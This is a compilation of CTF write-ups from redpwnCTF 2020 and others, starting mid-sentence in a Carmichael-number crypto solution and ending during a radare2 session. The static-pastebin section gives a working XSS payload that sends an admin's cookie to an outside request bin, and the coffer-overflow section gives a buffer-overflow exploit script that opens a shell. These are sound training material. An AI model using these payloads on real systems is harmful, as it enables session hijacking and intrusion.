do is then use the algoritm of Granville and Pomerance which generates Carmichael numbers from Carmichael numbers. The implementation I used was ```py"""Majority of code from https://eprint.iacr.org/2019/032.pdfSafety in Numbers: On the Need for Robust Diffie-Hellman Parameter Validation""" import itertoolsfrom operator import mul def all_combinations(any_list): """ Wrapper for itertools to generate all possible combinations of all (non trivial) sizes. """ return itertools.chain.from_iterable(itertools.combinations(any_list , i + 1) for i in range(len(any_list))) def LCMpim1(n): """ Takes as input n: a list of integers p_i and returns the lcm(p_i-1) for all i """ pim1list = [] for pi in n: pim1 = pi - 1 pim1list.append(pim1) return lcm(pim1list) def listbuild(L): """ Takes as input a (highly composite) number L and returns a list of all primes p such that p-1 | L where p does not divide L. We include the additional requirement that p = 3 mod 4. """ a = list(factor(L)) p = [] for y in a: for i in range(0, y[1]): p.append(y[0]) pvals = all_combinations(p) ps = [] for pp in pvals: t = reduce(mul, pp, 1) tt = t + 1 if tt.is_prime(proof=False) and L % tt != 0: if tt not in ps: ps.append(tt) pps = [] ps.sort() # we now filter results to only inlude p with p = 3 mod 4 for p in ps: if p % 4 == 3: pps.append(p) return pps def erdos_build(factors , L, k): """ This function takes a list of possible factors, a (highly composite) integer L and k, and produces a Carmichael number with k factors sampled from "factors" such that the LCM of each factor p_i - 1 is equal to L. Output is parsed as n,[p_1,p_2,...,p_k] where n = p_1 * p_2 * ... * p_k. """ if k <=2: print("Choice of factors must be >=3") return 0 for i in itertools.combinations(factors , k): v = reduce(mul, i, 1) if v % L == 1: fin = list(i) fin.sort() if LCMpim1(fin) == L: return [v,fin] print("None found, try increasing size of factor list") def granville_and_pomerance(factors): k = 1 L = LCMpim1(factors) while True: M = 1 + k*L qs = [1 + M*(p-1) for p in factors] if all(q.is_prime(proof=False) for q in qs): N = prod(qs) return N, qs k += 1 Ls = [810810, 2088450, 4054050, 7657650, 13783770, 22972950, 53603550] # Small L picked to keep N.nbits() smallL = 2*3^4*5*7*11factors = listbuild(L)print(factors, L, len(factors)) char, car_factors = erdos_build(factors , L, 6)print(char, car_factors) N, qs = granville_and_pomerance(car_factors) print(N)print(qs)print(N.nbits())print([q.nbits() for q in qs])``` Using this produced a Carmichael number passing 3% of tests of the form: ```C = 17226095350814884309562782709503476832333815043778073233750461bit length: 204factors: [2118459439, 7767684607, 19066134943, 31776891571, 38838423031, 44487648199]bit lengths [31, 33, 35, 35, 36, 36]``` Having this sixth factor is great and greatly simplifies the upcomming dlog problem. #### Step Two: Generating a curve of prescribed order **Hindsight Checklist** - Solve using ecgen (Boo!!)- Solve using algorithm given by Galbraith, Massimo, and Paterson- Solve using algorithm by [ChiCubed](https://gist.github.com/ChiCubed/0977601c9ce88eda03b9d2576231192e) written to solve this challenge!- Write your own algoritm Of these four lists, only the last was avaliable to me during the competition. I tried to implement something, but it was far too slow as my method of finding a discriment with a small square-free part was terrible. Approximately, it was of the same form as the naive solution in Bröker's thesis. Holocircuit attempted (and got insanely close) to implementing the algorithm in section 4.1 of [Reinier Bröker's Thesis](https://www.math.leidenuniv.nl/scripties/Broker.pdf). After the compeition we realised it was about 1 or two lines keeping us from the solve! I haven't managed to fix my own implementation of it. It feels dishonest to display any fixed code here after seeing the work by ChiCubed, which would simply be a refactoring of their work. The paper by Galbraith, Massimo, and Paterson produces an algorithm in appendix C (Algorithm of Bröker and Stevenhagen), however this is limited to an order `N` which is squarefree and has only 3 factors. The implmentation by ChiCubed is a much more general realisation of Bröker's algorithm. Running ChiCubed's implementation of Bröker's alorithm with a prescribed order `17226095350814884309562782709503476832333815043778073233750461` produced a curve within 10 minutes: ```Jack: ~ % sage redpwn/generate_order.sagetrying 171259 16555727575344674102260187525/2*a + 4686538145203615415053289961063/2success! Elliptic Curve defined by y^2 = x^3 + 16100304990402797113692811685429247648780477314497521961846040*x + 16470469406676450872902150339598545251380983030417104004004538 over Finite Field of size 17226095350814884309562782709498790294188611428363019943789399``` #### Step Three: Grabbing the flag I don't have access to the server anymore and didn't have it in me to bother doing all the boring side of socket stuff so I just made a dummy script to solve with my fresh curve. ```py#!/usr/bin/env sageimport random flag = 'flag{I_dont_know_what_this_is}'BITS = 200 def isPrime(n): if n == 2: return True if n%2 == 0: return False r,d = 0,n-1 while d%2 == 0: r += 1; d //= 2 for k in range(1): a = random.randint(2,n-2) x = pow(a,d,n) if x == 1 or x == n-1: continue for i in range(r-1): x = pow(x,2,n) if x == n-1: continue else: return False return True def solve_challenge(G,Q): return G.discrete_log(Q) """To solve this challenge, all we are allowed to send to the serveris the curve parameters [p,a,b]. Sending these, the server checksthree conditions, then sets up the ECDLP We will send the params params from curve generator function which found the curve Elliptic Curve defined by y^2 = x^3 + 16100304990402797113692811685429247648780477314497521961846040*x + 16470469406676450872902150339598545251380983030417104004004538 over Finite Field of size 17226095350814884309562782709498790294188611428363019943789399E.order() 17226095350814884309562782709503476832333815043778073233750461""" # What we would send to the servera = 16100304990402797113692811685429247648780477314497521961846040b = 16470469406676450872902150339598545251380983030417104004004538p = 17226095350814884309562782709498790294188611428363019943789399 # We know it only passes 3% of the time, so we would have to connect many times to the serverconnections = 0while True: connections += 1 E = EllipticCurve(GF(p), [a,b]) if E.order().nbits() >= BITS and E.order() != p and isPrime(E.order()): break print(f'Curve accepted after {connections} connections, max connection number estimated as ~33') """Passing the checks, the server asks us to solve the ECDLP""" G = E.gens()[0]print(G)secret = random.randint(1,E.order()-1)Q = G * secretprint(Q) """As the order of E is smooth, we can do this easily!"""print('Calculating discrete logarithm of Q')user = solve_challenge(G,Q)print(user) if user == secret: print(flag)# flag{I_dont_know_what_this_is}```
# Smart Solver solved without SMT and Z3Well the heading is intentional since I did not know about SMT and Z3 when I solved this problem during the CTF, and solved it logically. So read this if you are interested in a logical solution to the problem. # Overview The binary that we are provided uses a lot of instructions to compare each character of a string with all other characters of the string, if any of the test fails it just jumps to a location that exits. So we have to find that string which passes all tests. # Observations- The string length is `73`- The operations compare the numeric value of characters with each other so it defines a lexographic order for a character with all other characters of the string. # Idea Given a string with 73 characters `s[73]`, Consider a `73 X 73` 2-d array `a[73][73]`. Define `a[i][j]` in the following manner -:```if(s[i] == s[j]): a[i][j] = -1elif(s[i] < s[j]): a[i][j] = 0else: a[i][j] = 1``` Now note that we can obtain the entire 2-d array `a` from the binary if we are able to parse the instructions in the disassembled code of the binary. This is because each character is compared with a number of other characters using either the `jbe` or `jae` instruction and if it is not compared with some character then it is safe to assume that both of them are equal, since no other possibility exists. ## Code to parse the binary and get the 2-d array ### Some debugging aids which can be safely ignoredThe code includes some `try-except` and `assert` statements to verify that what we are doing is right. The variable `ct` is the error counter. The code throws one error at an instruction before the comparisons are even started so `ct` is not allowed to be greater than 1. ```import reimport jsonimport sysa=[[-1 for i in range(73)] for i in range(73)] def dump_data(): # Objective a[i][j] = 0 if s[i] < s[j] , 1 if(s[i] > s[j]), -1 if (s[i] == s[j]) regex = '.*movzx e([ad])x,BYTE PTR \[rbp-(0x[0-9a-f]*)\].*' # regex to match src and dest jmp_reg = '.*j([ab])e.*' # regex to match operator (less or greater) src,dst=-1,-1 ct=0 with open("disassembly",'r') as f: for line in f.readlines(): # print(line) try: reg, pos = re.match(regex, line).groups() pos = int(pos, 16) - 0xd8 if(reg == 'd'): assert src == -1 src = pos print("Setting src to ",pos) elif(reg == 'a'): assert dst == -1 dst = pos print("Setting dst to ", pos) except Exception as e: if isinstance(e, AssertionError): ct += 1 print(src, dst) print(line) if(ct>1): sys.exit(-1) try: oper = re.match(jmp_reg, line).groups()[0] assert src != -1 and dst != -1 and a[src][dst] == -1 if oper == 'b': print("oper is b") a[src][dst] = 0 else: print("Oper is a") a[src][dst] = 1 src, dst = -1, -1 except Exception as e: if isinstance(e,AssertionError): ct += 1 print(src, dst) print(line) if(ct > 1): sys.exit(-1) open("out", 'w').write(json.dumps(a))``` # Reversing the 2-d array to obtain flagSo now we have `a[73][73]`. How to obtain the string `s[73]` from this 2-d array. So the idea is this, we can first group indices that map to the same character i.e indexes `x` and `y` belong to the same group if `s[x][y] == -1 == s[y][x]`. **Note:** We do not need to ensure the second condition since that is a problem constraint and it cannot fail otherwise the data would be wrong. So what I mean is that for data to be correct the following invariant needs to be satisfied```s[i][j] = ~s[j][i] if (s[i][j] != -1) else s[i][j] == -1 == s[j][i]``` - Once we have grouped the characters we know that characters at indices in the same group are same. - Also note that suppose for an index `i` we can compute `less_ct[i] = count({j: s[i][j] == 0})`, `gt_ct[i] = count({j: s[i][j] == 1})` and `eq_ct[i] = count({j: a[i][j] == 0})` . `less_ct[i]` is a count of the number of characters which are lexographically **larger** than `s[i]`.- Now suppose character indices `i1, i2, i3` belong to a group `G` i.e they map to same character. So they will have the same values of these quantities since the character comparison will yield equivalent results. So the variables `less_ct, gt_ct` are indeed a characterstic of the group and not of a particular index.- Now suppose a group is mapped to the character `'b'`. How will its `less_ct` compare to the group that maps to the character `'c'`? It is obvious that the number of characters that are lexographically larger than `'c'` are less than the number of characters that are lexographically larger than `'b'` since the latter set will also include the characters that are equal to `'c'`.- So it is convincing enough that if we sort these groups on the basis of `less_ct` and start assigning them the characters from `'a'` we could complete the entire string. **Note:** We have made an assumption that all characters from `'a'` to `'z'` are being used. And this assumption only holds true if the number of groups that we are able to form are >= 26. In our case we got 28 groups i.e. all 26 alpahabets and `'{'` and `'}'` ## Code to obtain string from 2-d array **Note:** It seemed like that we need to reverse the flag after obtaining the entire string to have the format `flag{...}````def rev(): data=json.loads(open('out','r').read()) ingroup = [False for i in range(73)] groups=[] for i in range(73): if(ingroup[i]): continue ele = data[i] eq_ct,less_ct,gt_ct=0,0,0 same_indexes = [] for j in range(73): b=ele[j] if b==-1: eq_ct+=1 same_indexes.append(j) ingroup[j] = True elif (b==0): less_ct+=1 else: gt_ct+=1 groups.append({"eq_ct":eq_ct,"less_ct":less_ct,"gt_ct":gt_ct,"same_indexes":same_indexes}) groups.sort(key=lambda x: x['less_ct']) flag=['' for i in range(73)] for i in range(len(groups)): c = chr(ord('a')+i) if(i!=len(groups)-1) else '}' group = groups[i] for index in group['same_indexes']: flag[index] = c flag="".join(flag)[::-1] print(flag)``` # Result`flag{thequickbrownfoxjumpedoverthelazydogandlearnedhowtoautomateanalysis}`
## Static-pastebin : The description of this challenge was : " I wanted to make a website to store bits of text, but I don't have any experience with web development. However, I realized that I don't need any! If you experience any issues, make a paste and send it here " The home page of the web site was presented like this: ![CaptureVero](https://user-images.githubusercontent.com/59454895/85900597-63acc800-b800-11ea-81fa-4d3b209847fa.PNG) There was also a way to report a link to the admin: ![OOOOOO](https://user-images.githubusercontent.com/59454895/85901979-344b8a80-b803-11ea-9027-8e13f90dacdc.PNG) First of all i tried to put <script>alert(1);</script> to see if the site would print the number one but it didn't work and i got this : ![Capture000](https://user-images.githubusercontent.com/59454895/85898838-49251f80-b7fd-11ea-85b8-91c018a2c048.PNG) Here i could notice that every post was base64 encoded when i pressed the button create , i got also this confirmation from the code of the site that was dealing the posts , because as we can see there is the btoa function that encodes the text value in base64 : ```javascript (async () => { await new Promise((resolve) => { window.addEventListener('load', resolve); }); const button = document.getElementById('button'); button.addEventListener('click', () => { const text = document.getElementById('text'); window.location = 'paste/#' + btoa(text.value); });})();``` After i made the post in the site i looked inside the source again to see how the reading part was handled and i found some interesting code :```javascript(async () => { await new Promise((resolve) => { window.addEventListener('load', resolve); }); const content = window.location.hash.substring(1); display(atob(content));})(); function display(input) { document.getElementById('paste').innerHTML = clean(input);} function clean(input) { let brackets = 0; let result = ''; for (let i = 0; i < input.length; i++) { const current = input.charAt(i); if (current == '<') { brackets ++; } if (brackets == 0) { result += current; } if (current == '>') { brackets --; } } return result} ```Reading this code i understood two important things , first of all the value from URL is decoded from base64 using the atob function ( It will be useful when i will report the link with the payload) and our input is sanitized with the clean function , looking inside this function i could see that the writing of text was not allowed if the bracket pairs didn't match . I broke this function just adding a > to my payload :```javascripttest">```![Test](https://user-images.githubusercontent.com/59454895/85903016-a45b1000-b805-11ea-8b64-ee6ca162333f.PNG) Now that I know it works locally I modified my payload in this way : ``` test">``` . I used a requestbin to intercept the admin's cookies. The admin needs to visit the link or we can't intercept his cookie, so I encoded all my payload in base 64 and i added it in my link in this way : https://static-pastebin.2020.redpwnc.tf/paste/#dGVzdCI+PGltZyBzcmM9eCBvbmVycm9yPXdpbmRvdy5sb2NhdGlvbi5ocmVmPSdodHRwczovL2VuOTZvaTBlZGQzZG0ueC5waXBlZHJlYW0ubmV0Lz9hPScrZG9jdW1lbnQuY29va2llOz4= The final step was to report this entire link to the admin and check the requestbin : ![FlagStaticBin](https://user-images.githubusercontent.com/59454895/85904268-87740c00-b808-11ea-8c5e-bf24dc24d7a4.PNG) Flag: flag{54n1t1z4t10n_k1nd4_h4rd}
# coffer-overflow-1Author: [UltimateHG](https://github.com/UltimateHG)### Slightly more advancedThis is a continuation of [coffer-overflow-0](https://github.com/CSGang/Writeups/tree/master/redpwnCTF/pwn/coffer_overflow_0).We take a look at the source code:```#include <stdio.h>#include <string.h> int main(void){ long code = 0; char name[16]; setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL); puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)"); puts("What do you want to fill your coffer with?"); gets(name); if(code == 0xcafebabe) { system("/bin/sh"); }}```This time, we would need to not only overwrite `code`, but also overwrite it with value `0xcafebabe` in little endian.We use the same approach as before, with a padding of 32-8 = 24 characters followed by `0xcafebabe` in little endian.Here is the final exploit: ```#!/usr/bin/env python from pwn import * e = ELF("./coffer-overflow-1")p = remote("2020.redpwnc.tf", 31255) print(p.recvline())print(p.recvline())payload = b"A"*24payload += p64(0xcafebabe)p.sendline(payload)p.interactive()``` This should redirect us to shell, and with a simple `ls` we can see an entry `flag.txt`, so we simply do `cat flag.txt` to obtain the flag:```$ lsMakefilebincoffer-overflow-1coffer-overflow-1.cdevflag.txtliblib32lib64$ cat flag.txtflag{th1s_0ne_wasnt_pure_gu3ssing_1_h0pe}```
# coffer-overflow-0 ## TLDR* BOF ## Challenge### Descriptionresult of file command* Arch : x86-64* Library : Dynamically linked* Symbol : Not stripped result of checksec* RELRO : Partial RELRO* Canary : Disable* NX : Enable* PIE : Disable ### Exploit Simple buffer over flow challenge. Nothing more to say. My exploit code is [solve.py](https://github.com/kam1tsur3/2020_CTF/blob/master/redpwn/pwn/coffer-overflow-0/solve.py). ## Reference twitter: @kam1tsur3
[Original Writeup](https://dunsp4rce.github.io/redpwn-2020/web/2020/06/26/anti-textbook.html)(https://dunsp4rce.github.io/redpwn-2020/web/2020/06/26/anti-textbook.html)
[Original writeup](https://github.com/itsecgary/CTFs/tree/master/redpwnCTF%202020/static-pastebin) (https://github.com/itsecgary/CTFs/tree/master/redpwnCTF%202020/static-pastebin)
## Gene I played this CTF as part of the team Organisers. These challenges were solved as a big group effort including British EBFE, Esrever, Robin and V01d. The crypto challenges of this competition were really interesting and challening. I feel lucky to have been able to play with such a talented team, who helped show me how these more advanced challenges can be interpreted and solved. ### Step Zero: Guessing Before the crypto side of this challenge can begin the first thing we needed to do was reverse the binary file given with the challenge. While the team worked on the reversing side I played around with the socket and tried to start guessing what might be going on. Connecting to the server `nc pwnable.org 23334` we are given three options: ```1. Sign message2. Verify message3. Get flag``` When we want to sign a message, we are asked to supply a length `78` hex string which is refered to as `m0`. Then we are asked for the length of the message we want to sign and finally the message we want to send `m1`. Signing the message we get a tuple back from the server. As an example, signing the message `m1 = "testmessage"` with a value of `m0 = '12'*39`, we obtain the tuple: ```('UUAGTUCAUTUAGAUACCGAACAUUUTGGAUAGCGCTUGUGUTCCCTCUCACCUTCUGTGUATTCUGCAACUUUUGAGGTTAATTGGUTUACCGAUCCGATUCCGAGUGATCGACAGAATAATGGGUTT', '0761FDDDEDC2C780153E120D0F749F5E3097ADDE8D1531C766B023C525EE37088293581F65B1')``` So now we know where the name `gene` comes from. If we sign the same pair `(m0, m1)` the reply from the server is the same, but if we disconnect we find that both of the values from the signing process change, suggesting a global random number is set on connection. Futhermore signing two different messages on the same connection with the same `m0` returns the same codon string. This is starting to feel like (EC)DSA, where `m0` is some kind of nonce generating an `r` value from the base point. For it to be randomised on connection suggests that the basepoint itself is randomised. Even assuming we are working in DSA, we have many unknowns: - Is this ECDSA or DSA? - What are the parameters? - How is the base point randomised?- Why is the `r` value encoded into a codon, and how do we reverse this Even with these hunches I really couldnt make any progress on the challenge without understanding the binary. Luckily for me my team is much better at rev than I am, and they made big progress in understanding what is happening! ### Step One: Reversing Analysing the binary, it is found that there are some globally defined constants: - 43955934961951833386625799- 33428203490603515565240058682678165019167410746025906092519187676- ACAGCTUACTAUCAUTTAUTGGCAATUUAAAGGGGTUAATATTTCACTAGAACAAGTATGUACUGTGTUTUGGUUACACAUAGTGGATCGACTATUUCCCCGTAUCGATCUCGAGGTTGCUGGACUCGTA- UUCAUGUACGTUTUCCCTAUAACGAUTUUCUUTCCATAGCUCCTUCGUCAGTAGGCUUCACCATUUAAUATAATUTCACAATAUCUCTAUAGCCUUGATUTCUGUGTAATCCUGCUUTAGTACUTTTAC There also seems to be the implementation of `sha256` and a multiplication table using `UAGCT` that looks like it is used to perform arithmetic over $GF(5^n)$. Note that the first of the two integers is prime. With out assumption that this cryptosystem is some variant of DSA, we started to think that $q = 43955934961951833386625799$ would be some large prime factor of the group order. Looking at $GF(5^n)$, which would have order $5^n - 1$, we find that $(5^{129} - 1) \mod q \equiv 0$, suggesting that the group we are working with is $GF(5^{129})$. If this is indeed a DSA variant, the hash function would appear to be `sha256`, the group $GF(5^{129})$ and the codon strings would then be an encoding of the elements of $GF(5^{129})$. Futher study of the multiplicaton table allows us to realise the relationship ```pythoncodon_vals = {'U' : 0, 'A' : 1, 'G' : 2, 'C' : 3, 'T' : 4}``` and we can imagine the codon string as the concat of the coefficients of a polynomical in $GF(5^{129})$, where the integers `01234` are simply represented by the letters `UAGCT`. Robin quickly found a way to do this in sage ```python# Convert from codon string to polynomical coeffsI = lambda s: list(map(int, s.translate("".maketrans("UAGCT", "01234")))) # CODON_MODm = I("ACAGCTUACTAUCAUTTAUTGGCAATUUAAAGGGGTUAATATTTCACTAGAACAAGTATGUACUGTGTUTUGGUUACACAUAGTGGATCGACTATUUCCCCGTAUCGATCUCGAGGTTGCUGGACUCGTA") # CODON_BASEbase = J('UUCAUGUACGTUTUCCCTAUAACGAUTUUCUUTCCATAGCUCCTUCGUCAGTAGGCUUCACCATUUAAUATAATUTCACAATAUCUCTAUAGCCUUGATUTCUGUGTAATCCUGCUUTAGTACUTTTAC') # Define structuresR.<x> = GF(5)['x']m = R(m)F = GF(5^129, 'x', modulus=m)J = lambda s: F(I(s)) # From codon string to element of Fembed = lambda x: int(''.join(map(str, x.polynomial())), 5) # From element of F to codon stringto_codon = lambda x: ''.join(map(str, x.polynomial())).translate("".maketrans("01234", "UAGCT")) # Check convertion is working as intendedassert to_codon(base) == 'UUCAUGUACGTUTUCCCTAUAACGAUTUUCUUTCCATAGCUCCTUCGUCAGTAGGCUUCACCATUUAAUATAATUTCACAATAUCUCTAUAGCCUUGATUTCUGUGTAATCCUGCUUTAGTACUTTTAC'``` We are futher motivated that we are going along the right line by noticing that the product of the two integers is ```pythonq = 43955934961951833386625799n = 33428203490603515565240058682678165019167410746025906092519187676assert n*q == 5^{129} - 1``` This suggests that the group order used for the calculations in finding `(r,s)` is stored on the server in two factors. All that remains is to identify the two codon strings which are global constants in the binary. If this is going to be DSA-like signing for $GF(5^{192})$ then we are going to need a modulus for the field, and a base point to perform our calculations. We find the constants strings should interpreted as the modulus and base point as ```pythonm = "ACAGCTUACTAUCAUTTAUTGGCAATUUAAAGGGGTUAATATTTCACTAGAACAAGTATGUACUGTGTUTUGGUUACACAUAGTGGATCGACTATUUCCCCGTAUCGATCUCGAGGTTGCUGGACUCGTA"base = "UUCAUGUACGTUTUCCCTAUAACGAUTUUCUUTCCATAGCUCCTUCGUCAGTAGGCUUCACCATUUAAUATAATUTCACAATAUCUCTAUAGCCUUGATUTCUGUGTAATCCUGCUUTAGTACUTTTAC"``` **Note**: we identify the base point as the lower degree polynomial in the pair of codon strings found in the binary. Understanding the core of what we are working with, we now need to reverse the signing function to find out we can exploit it. We did this by opening up openssl 1.1.1 sources in one window and IDA in the other. Then going through functions looking for debug prints (which contain the source filename, line, and function name) we can start to identify each function. For those without prints, we make some guesses comparing decompilation with relevant source modules. The resulting python-interpretation for the signing function was found as ```python# g_randBn1 < g_bnFieldOrder# g_randBn2 < g_bnFieldOrder def sign(m0, m1): bn0 = int(m0, 16) + g_randBn2 r = CODON_BASE ^ bn0 % CODON_MOD h = sha256(str(m0) + m1).digest() bn2 = bytes_to_long(h) * g_randBn1 bn2 = (bn2 + bn0) % g_bnFieldOrder s = hex(bn2) print("The signature is (%s, %s)\n" % (r, s))``` We see that we control the input, obtain the output and that we have knowledge of `CODON_BASE`, `CODON_MOD` and `g_bnFieldOrder`. The only unknowns are `g_randBn1` `g_randBn2`. In the following section we will use a pair of messages to recover these values, which we will refer to as $d_0$ and $d_1$ respectively. ### Step Two: Crypto From our reversing of the binary, we now understand the signing server as an implementation of some sort of DSA over the finite field $GF(5^{129})$, with a tuple returned by the server: $(r,s)$. As an attacker we have the ability to sign arbitary messages supplying a tuple $(m_0, m_1)$, where $m_0$ is a nonce-like value and $m_1$ is the message we wish to sign. The challenge is solved if given a random $m_0$, we are able to successful sign a fixed message $m_1 = \text{show_me_flag}$. The unknowns preventing us from solving the challenge are two global secret integers $d_0$ and $d_1$, which are set randomly upon connection to the server. From the reversal of the signing, we see that these constants appear in the tuple $(r,s)$ in the form $$r = g^{m_0 + d_0} \mod M$$ $$s = H(m_0 + m_1)*d_1 + m_0 + d_0 \mod M$$ As we have access to signing arbitary messages on the server, we can recover the global secrets by signing two messages $m_1$ and $m_1^\prime$, keeping $m_0$ fixed. To keep things short, we will denote the hash of the message as $h_1 = H(m_0 + m_1)$. Sending the server two sets of data: $(m_0, m_1)$ and $(m_0, m_1^\prime)$ we receive the following data:$$s = h_1*d_1 + m_0 + d_0 \mod M \\s^\prime = h_1^\prime*d_1 + m_0 + d_0 \mod M $$ By taking the difference of these two values, we see $$s - s^\prime = h_1*d_1 - h_1^\prime*d_1 \mod M \\$$ allowing us to recover the global secret $d_1$ $$d_1 = \frac{s - s^\prime}{h_1 - h_1^\prime} \mod M,$$ getting us half way to the solve. As we have all the following data $(m_0, m_1, h_1, d_1, s)$ we can solve the first signed message to recover $d_0$: $$d_0 = s - m_0 - h_1*d_1 \mod M$$ Equipped with both global secret values is enough to solve the challenge and grab the flag. A full implementation is given below. ### Implementation ```python# python script for socket interactionfrom gene_interact import sign as rem_sigfrom gene_interact import getflag, t as sock from hashlib import sha256 # Convert from codon string to polynomical coeffsI = lambda s: list(map(int, s.translate("".maketrans("UAGCT", "01234")))) # CODON_MODm = I("ACAGCTUACTAUCAUTTAUTGGCAATUUAAAGGGGTUAATATTTCACTAGAACAAGTATGUACUGTGTUTUGGUUACACAUAGTGGATCGACTATUUCCCCGTAUCGATCUCGAGGTTGCUGGACUCGTA") # CODON_BASEbase = J('UUCAUGUACGTUTUCCCTAUAACGAUTUUCUUTCCATAGCUCCTUCGUCAGTAGGCUUCACCATUUAAUATAATUTCACAATAUCUCTAUAGCCUUGATUTCUGUGTAATCCUGCUUTAGTACUTTTAC') # Define structuresR.<x> = GF(5)['x']m = R(m)F = GF(5^129, 'x', modulus=m)J = lambda s: F(I(s)) # From codon string to element of Fembed = lambda x: int(''.join(map(str, x.polynomial())), 5) # From element of F to codon stringto_codon = lambda x: ''.join(map(str, x.polynomial())).translate("".maketrans("01234", "UAGCT")) # Check convertion is working as intendedassert to_codon(base) == 'UUCAUGUACGTUTUCCCTAUAACGAUTUUCUUTCCATAGCUCCTUCGUCAGTAGGCUUCACCATUUAAUATAATUTCACAATAUCUCTAUAGCCUUGATUTCUGUGTAATCCUGCUUTAGTACUTTTAC' FM = Zmod(5^129 - 1) def H(a, b): x = sha256((a + b).encode()).hexdigest() return int(x, 16) # Dummy variables for testingglobal_d0 = 37global_d1 = next_prime(314) + 37 def sign(m0, m1): x = int(m0, 16) + global_d0 r = to_codon(pow(base, x)) y = H(m0, m1) * global_d1 s = hex((x + y) % (5^129 - 1))[2:].zfill(76).upper() return (r, s) def recover_d1(m0, m1, m11, s0, s1): h0 = H(m0, m1) h1 = H(m0, m11) return FM(s1 - s0) / FM(h1 - h0) def recover_d0(m0, m1, s, d1): return FM(s - H(m0, m1) * d1 - int(m0, 16)) if __name__ == "__main__": m0 = "d" * 78 m1 = "blahx" m11 = "blahh" r0, s0 = rem_sig((m0, m1)) print("s0", r0, s0) r1, s1 = rem_sig((m0, m11)) print("s1", r1, s1) s0, s1 = map(lambda x: int(x, 16), [s0, s1]) print("d1", d1 := recover_d1(m0, m1, m11, s0, s1)) print("d0", d0 := recover_d0(m0, m1, s0, d1)) global_d0 = d0 global_d1 = d1 A = sign("12" * 39, "purple") B = rem_sig(("12" * 39, "purple")) print(A == B) print(getflag(sign)) sock.interact()``` ### Flag `flag{TTAUUTCAGUGUGGTTGAAUAUAT}`
# Whats The Password Revisited | RiceTeaCatPanda## ProblemThere's a password somewhere... ## Solution1. Run strings, which gives some interesting output:```bashkali@kali:~/Desktop/whatsthepassword$ strings whats-the-password-revisited ...AUATL[]A\A]A^A_Whats the password? Hey, that's not right!fL492_r_h4rd3r_th4n_th1srtcp{Nice job! Here's your flag: %s;*3$"GCC: (Ubuntu 7.4.0-1ubuntu1~18.04.1) 7.4.0...```Of course it's not that easy, but worth a try. ### 2. Check it out in radare2 - Note: Good R2 cheatsheet at: https://github.com/zxgio/r2-cheatsheet/blob/master/r2-cheatsheet.pdf ```bash kali@kali:~/Desktop/whatsthepassword$ r2 whats-the-password-revisited [0x000008c0]> aaaa; afl[x] Analyze all flags starting with sym. and entry0 (aa)[x] Analyze function calls (aac)[x] Analyze len bytes of instructions for references (aar)[x] Check for objc references[x] Check for vtables[x] Type matching analysis for all functions (aaft)[x] Propagate noreturn information[x] Use -AA or aaaa to perform additional experimental analysis.[x] Finding function preludes[x] Enable constraint types analysis for variables0x000008c0 1 42 entry00x00000740 1 6 sym.imp.strncpy0x00000750 1 6 sym.imp.puts0x00000760 1 6 sym.imp.__stack_chk_fail0x00000000 2 41 loc.imp._ITM_deregisterTMCloneTable0x00000770 1 6 sym.imp.__fgets_chk0x00000780 1 6 sym.imp.__strcpy_chk0x00000790 1 6 sym.imp.__printf_chk0x000007a0 1 6 sym.imp.exit0x000009c0 5 154 -> 67 entry.init00x00000980 5 58 -> 51 entry.fini00x000008f0 4 50 -> 40 fcn.000008f00x00000718 3 23 fcn.000007180x000007c0 7 253 main```Only a few functions here to check out. ```bash[0x000008c0]> s main; pdf[0x000007c0]> VV``` Checking out the graph, we can see a loop in which bytes are manipulated until a comparison with ecx is true.This looks like the point in which the final password is compared. However, it is done one byte at a time, and looks to be deobfuscated at runtime with some xoring. I tried patching the binary to jump directly to the function that prints the password, however we end up with the output just showing the first part of the flag observed in strings: "fL492_r_", followed by whatever my fake garbage input was. So that would indicate the first part of the flag is this first sequence that could be viewed in strings, ie: fL492_r_|something we need to find out| ### 3. Do some dynamic analysisStart back up R2 with the debugger.```bashali@kali:~/Desktop/whatsthepassword$ r2 -d whats-the-password-revisited Process with PID 2682 started...= attach 2682 2682bin.baddr 0x55a221a14000Using 0x55a221a14000asm.bits 64Warning: r_bin_file_hash: file exceeds bin.hashlimit[0x7f6a10b0f090]> aaa[x] Analyze all flags starting with sym. and entry0 (aa)[x] Analyze function calls (aac)[x] Analyze len bytes of instructions for references (aar)[x] Check for objc references[x] Check for vtables[TOFIX: aaft can't run in debugger mode.ions (aaft)[x] Type matching analysis for all functions (aaft)[x] Propagate noreturn information[x] Use -AA or aaaa to perform additional experimental analysis.[0x7f6a10b0f090]> ``` In the function in which the bytes are deobfuscated, a byte is copied from rax into ecx. Then ecx remains the same after that, and is compared with eax at the end. Whatever's being copied into ecx must be the obfuscated byte. We can break once the ecx copy happens and inspect the value.```bash[0x55a221a147c0]> db 0x55a221a1485b[0x55a221a147c0]> dcWhats the password? thisisntrighthit breakpoint at: 55a221a1485b[0x55a221a1485b]> drrax = 0x55a221c15020rbx = 0x7ffdb3df36d0rcx = 0x0000003a <----------------- The first byte of the passwordrdx = 0x00000000r8 = 0x00000008r9 = 0x00000040r10 = 0x00000410r11 = 0x7f6a10ab50e0r12 = 0x55a221a148c0r13 = 0x7ffdb3df37f0r14 = 0x00000000r15 = 0x00000000rsi = 0x55a221c15020rdi = 0x7ffdb3df36ddrsp = 0x7ffdb3df36d0rbp = 0x7ffdb3df36ddrip = 0x55a221a1485brflags = 0x00000202orax = 0xffffffffffffffff``` To deobfuscate this byte, we have to reverse the obfuscation process that is done in the function.```pythonkali@kali:~/Desktop$ python3Python 3.8.3 (default, May 14 2020, 11:03:12) [GCC 9.3.0] on linuxType "help", "copyright", "credits" or "license" for more information.>>> chr(((0x3a ^ 0x32) - 1) ^ 0x32)'5'>>>```So 5 is the first character of the flag. At this point, we may continue this process over and over to recover the full flag. However there is a better way. ### 4. Find the obfuscated bytes in memoryOf interest in the deobfuscation function is this line:```0x55d0fe203858 0fbe08 movsx ecx, byte [rax]```That address in rax is where the byte is being loaded from. If we break here and check the memory address loaded in rax, we should be able to recover the bytes which later make up the password.```[0x55d0fe2037c0]> db 0x55d0fe20385b[0x55d0fe2037c0]> dcWhats the password? thisisntrighthit breakpoint at: 55d0fe20385b[0x55d0fe20385b]> px 3000 @ rax- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF0x55d0fe404020 3a00 0000 0000 0000 0000 0000 0000 0000 :............... 0x55d0fe404030 0000 0000 0000 0000 0000 0000 0000 0000 